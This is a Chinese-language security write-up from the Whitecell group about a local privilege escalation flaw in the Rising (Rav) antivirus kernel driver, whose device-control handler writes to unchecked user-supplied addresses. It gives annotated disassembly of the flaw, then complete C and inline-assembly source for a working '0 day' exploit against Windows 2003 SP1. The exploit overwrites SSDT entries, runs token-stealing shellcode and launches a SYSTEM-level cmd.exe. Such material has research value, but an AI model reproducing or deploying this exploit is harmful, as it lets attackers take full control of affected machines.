|
近期在发现symtdi权限提升的漏洞的基础上,对瑞星的驱动程序也进行 分析,发现也存在问题,由于驱动程序中处理 IRP_MJ_DEVICE_CONTROL 例程没有检查用户传入的缓冲区地址的合法性,造成任意内核地址可写 的漏洞,用户可以发送恶意的DeviceIoControl的来完全的控制计算机。 请看以下汇编片段:
; int __stdcall sub_10ABE(int,PIRP Irp) .text:00010ABE sub_10ABE proc near ; DATA XREF: start+2Co .text:00010ABE .text:00010ABE Irp = dword ptr 0Ch .text:00010ABE .text:00010ABE push ebp .text:00010ABF mov ebp, esp .text:00010AC1 mov edx, [ebp+Irp] .text:00010AC4 push ebx .text:00010AC5 push esi .text:00010AC6 push edi .text:00010AC7 mov edi, [edx+60h]
; 这里为了效率,依然使用METHOD_NEITHER这种方式进行数据传输
.text:00010ACA mov eax, 220023h .text:00010ACF mov ecx, [edi+0Ch] .text:00010AD2 cmp ecx, eax .text:00010AD4 ja loc_10C09 .text:00010AD4 .text:00010ADA jz loc_10BFB .text:00010ADA .text:00010AE0 mov eax, ecx .text:00010AE2 sub eax, 220007h .text:00010AE7 jz loc_10B6D ;这里存在比较严重的问题 .......
loc_10B6D: ; CODE XREF: sub_10ABE+29j .text:00010B6D mov ax, es .text:00010B70 mov word_1329C, ax .text:00010B76 mov ax, ds .text:00010B79 mov word_1329A, ax .text:00010B7F mov ecx, [edi+8] ; 长度 .text:00010B82 mov esi, [edi+10h] ; esi = irpSp->Type3InputBuffer .text:00010B85 mov eax, ecx .text:00010B87 mov edi, offset unk_13080 ; 这里也没有检查输入的缓冲区的 ; 长度,可以对静态数据区进行溢 ;出, 不过你往下看你会更兴奋 .text:00010B8C shr ecx, 2 .text:00010B8F rep movsd .text:00010B91 mov ecx, eax .text:00010B93 mov eax, P .text:00010B98 xor ebx, ebx .text:00010B9A and ecx, 3 .text:00010B9D cmp eax, ebx .text:00010B9F rep movsb .text:00010BA1 jz loc_10CA7 .text:00010BA1 .text:00010BA7 push eax ; Buffer .text:00010BA8 push offset unk_13099 ; FileHandle .text:00010BAD call sub_10414 .text:00010BAD .text:00010BB2 test al, al .text:00010BB4 jnz short loc_10BC7 .text:00010BB4 .text:00010BB6 mov eax, [ebp+Irp] .text:00010BB9 mov eax, [eax+3Ch] ; eax = irp->UserBuffer .text:00010BBC mov dword ptr [eax], 1 ; eax所指向的地址被写入了1 .text:00010BC2 jmp loc_10CA7
到此我们已经看清楚了这个漏洞的成因,也看到了利用方法,和之前的symtdi的利用方法基本一样.
#include #include
#pragma comment (lib, "ntdll.lib")
typedef LONG NTSTATUS;
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef struct _IMAGE_FIXUP_ENTRY {
WORD offset:12; WORD type:4; } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
typedef struct _UNICODE_STRING {
USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING;
extern "C" NTSTATUS NTAPI NtAllocateVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN ULONG ZeroBits, IN OUT PULONG AllocationSize, IN ULONG AllocationType, IN ULONG Protect );
int main(int argc, char* argv[]) { NTSTATUS status; HANDLE deviceHandle; DWORD dwReturnSize = 0; PVOID VdmControl = NULL; PVOID p = NULL;
PVOID ShellCodeMemory = (PVOID)0x1; DWORD MemorySize = 0x1000;
PROCESS_INFORMATION pi; STARTUPINFOA stStartup;
OSVERSIONINFOEX OsVersionInfo;
RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) ); OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);
if ( OsVersionInfo.dwMajorVersion != 5 ) {
printf( "Not NT5 system\n" ); ExitProcess( 0 ); return 0; }
if ( OsVersionInfo.dwMinorVersion != 2 ) {
printf( "isn't windows 2003 system\n" ); ExitProcess( 0 ); return 0; }
printf( "Rav Local Privilege Escalation Vulnerability Exploit (0 day) \n\n" ); printf( "Tested on: \n\twindows 2003 sp1 (ntoskrnl.pa.exe version) \n\n" ); printf( "\tCoded by Polymorphours. Polymorphours@whitecell.org\n\n" );
status = NtAllocateVirtualMemory( (HANDLE)-1, &ShellCodeMemory, 0, &MemorySize, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE ); if ( status != STATUS_SUCCESS ) {
printf( "NtAllocateVirtualMemory failed, status: %08X\n", status ); return 0; }
memset( ShellCodeMemory, 0x90, MemorySize );
__asm {
call CopyShellCode
nop nop nop nop nop nop
// // 恢复SSDT //
mov edi, 0x80827D54 mov [edi], 0x808C998A mov [edi+4], 0x809ba123 mov [edi+8], 0x80915CBE
mov eax,0xFFDFF124 // eax = ETHREAD (not 3G Mode) mov eax,[eax]
mov esi,[eax+0x218] mov eax,esi
search2k3sp1:
mov eax,[eax+0x98] sub eax,0x98 mov edx,[eax+0x94] cmp edx,0x4 // Find System Process jne search2k3sp1
mov eax,[eax+0xd8] // 获取system进程的token mov [esi+0xd8],eax // 修改当前进程的token
ret 8
CopyShellCode: pop esi lea ecx, CopyShellCode sub ecx, esi
mov edi,0x5 cld rep movsb
}
deviceHandle = CreateFile("\\\\.\\MEMSCAN", 0, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if ( INVALID_HANDLE_VALUE == deviceHandle ) {
printf( "Open RavMMSCAN device failed, code: %d\n", GetLastError() ); return 0; } else {
printf( "Open RavMMSCAN device success\n" ); }
p = LocalAlloc( LPTR, 0x10 );
DeviceIoControl( deviceHandle, 0x220007, p, 0x10, (PVOID)0x80827D54, 0xC, &dwReturnSize, NULL );
CloseHandle( deviceHandle );
LocalFree( p );
VdmControl = GetProcAddress( LoadLibrary("ntdll.dll"), "ZwVdmControl" ); if ( VdmControl == NULL ) {
printf( "VdmControl == NULL\n" ); return 0; }
printf( "call shellcode ... " );
_asm {
xor ecx,ecx push ecx push ecx mov eax, VdmControl call eax }
printf( "Done.\n" ); printf( "Create New Process\n" );
GetStartupInfo( &stStartup );
CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, NULL, NULL, NULL, &stStartup, &pi );
return 0; }
WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传
统的hacker精神,追求技术的精纯。 WSS 主页:http://www.whitecell.org/ WSS 论坛:http://www.whitecell.org/forums/
|
|
|